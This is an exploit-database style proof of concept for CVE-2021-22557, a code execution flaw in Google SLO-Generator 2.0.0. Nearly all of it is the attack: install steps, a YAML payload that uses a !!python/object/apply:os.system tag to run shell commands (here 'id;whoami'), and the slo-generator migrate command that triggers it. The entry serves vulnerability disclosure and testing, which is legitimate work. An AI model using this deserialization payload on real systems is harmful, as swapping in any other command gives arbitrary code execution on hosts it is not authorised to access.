Google SLO-Generator 2.0.0 - Code Execution Vulnerability

# Exploit Title: Google SLO-Generator 2.0.0 - Code Execution
# Exploit Author: Kiran Ghimire
# Software Link: https://github.com/google/slo-generator/releases
# Version: <= 2.0.0
# Tested on: Linux
# CVE: CVE-2021-22557

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*Introduction*:
Is a tool to compute and export Service Level Objectives (SLOs), Error
Budgets and Burn Rates, using configurations written in YAML (or JSON)
format.

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*POC:*
1. pip3 install slo-generator==2.0.0
2. 2. Save the below yaml code in a file as exploit.yaml.
   !!python/object/apply:os.system ["id;whoami"]
3.  Run the below command
   slo-generator migrate -b exploit.yaml
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